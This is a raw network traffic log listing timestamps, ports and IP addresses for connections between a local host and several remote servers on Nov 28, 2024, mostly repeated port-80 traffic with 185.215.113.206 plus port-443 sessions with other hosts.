Nov 28, 2024 00:19:49.242176056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.242276907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.242304087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.242954016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.243027925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.243056059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.243774891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.243805885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.243942976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.244182110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.244595051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.244638920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.244688034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.245497942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.245562077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.245632887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.245857954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.246301889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.246397018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.246454000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.246454000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.247080088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.247196913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.247225046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.247495890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.247909069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.248013973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.248256922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.248754978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.248869896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.248895884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.249646902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.249761105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.249794960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.250408888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.250437975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.250483036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.250778913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.251244068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.251292944 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.251316071 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.251347065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.251382113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.251620054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.252051115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.252114058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.252120972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.252268076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.252911091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.253061056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.253212929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.253573895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.253694057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.253782034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.253813982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.254051924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.254555941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.254631042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.254760981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.255553007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.255749941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.255778074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.255953074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.256231070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.256366014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.256447077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.256536961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.257009029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.257095098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.257121086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.257824898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.257913113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.257935047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.258095026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.277220011 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.277651072 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.277667999 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.278671026 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.278759956 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.279799938 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.279864073 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.280122995 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.280133009 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.280178070 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.280203104 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:49.298727036 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.313992023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.314021111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.314074993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.314169884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.314230919 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.314431906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.314574957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.314611912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.314726114 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.314758062 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.314791918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.315228939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.315335035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.315375090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.315496922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.315944910 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.316046000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.316073895 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.316179991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.316262960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.316893101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.316952944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.317024946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.317158937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.317271948 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.317338943 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.317481041 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.317780018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.317850113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.317864895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.318186045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.318655968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.318713903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.318773985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.318927050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.319425106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.319513083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.319549084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.319958925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.320126057 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.320189953 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.320205927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.320261955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.320283890 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.320287943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.320311069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.320586920 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.320586920 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.320606947 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.320616007 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.321079016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.321167946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.321217060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.321331978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.321852922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.321934938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.321939945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.322030067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.322700024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.322717905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.322789907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.322789907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.323491096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.323606014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.323626995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.324053049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.324322939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.324440002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.324487925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.324487925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.324795961 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.324840069 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.324920893 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.325139999 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.325150967 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.325243950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.325310946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.326001883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.326105118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.326129913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.326819897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.326847076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.326895952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.326895952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.327614069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.327704906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.328479052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.328589916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.328617096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.329297066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.329397917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.329426050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.329962969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.330121040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.330208063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.330388069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.330857038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.330977917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.331036091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.331041098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.331084013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.331764936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.332017899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.332145929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.332338095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.332611084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.332684994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.332711935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.332735062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.333404064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.333544970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.333568096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.334258080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.334393024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.334430933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.335064888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.335110903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.335136890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.339523077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.363338947 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.396078110 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.396271944 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.396298885 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.397202969 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.397277117 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.398385048 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.398443937 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.398580074 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.398587942 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.447127104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.447190046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.447242022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.447293043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.447503090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.447554111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.453241110 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.453257084 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.453259945 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:49.453283072 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.515753984 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.516949892 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.516978025 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.518078089 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.518122911 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.519471884 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.519546986 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.519834995 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.519849062 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.521617889 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.523019075 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.523032904 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.524342060 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.524410009 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.525551081 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.525618076 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.525618076 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.525774956 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.525782108 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.526056051 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.526067019 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.527056932 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.527105093 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.527767897 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.527836084 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.527987003 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.528357983 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.528419018 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.528661013 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.528680086 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.529043913 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.529050112 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.561341047 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.561465979 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.562745094 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.562975883 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.562983036 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.563982010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.564097881 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.564155102 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.564488888 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.564676046 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.564708948 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.570216894 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.570502043 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.570528984 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.571824074 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.571877003 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.572208881 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.572278976 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.572344065 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.572350025 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.572637081 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.572912931 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.572920084 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.573782921 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.573839903 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.574289083 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.574337959 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.574441910 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.574446917 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.576459885 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.595541954 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:49.595597029 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:49.607327938 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.609725952 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.609734058 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.624419928 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.635080099 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:49.635091066 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:49.635380030 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:49.635423899 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:49.635530949 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:49.639288902 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.639381886 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.639432907 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.641046047 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.641060114 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.643203974 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.643243074 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.643332958 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.643537998 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.643552065 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.654758930 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.679332018 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:49.688407898 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.688860893 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.688896894 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.689131975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.689472914 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.689480066 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.726870060 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.727118969 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.727148056 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.728190899 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.728249073 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.728626013 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.728694916 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.728780031 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.728790045 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.739341974 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.739393950 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.759696960 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.766058922 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.766124964 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.766674995 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:49.766690969 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:49.790000916 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.790083885 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.790162086 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.792105913 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:49.792123079 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:49.873303890 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.873543024 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.873641014 CET	49881	443	192.168.2.6	20.1.248.118
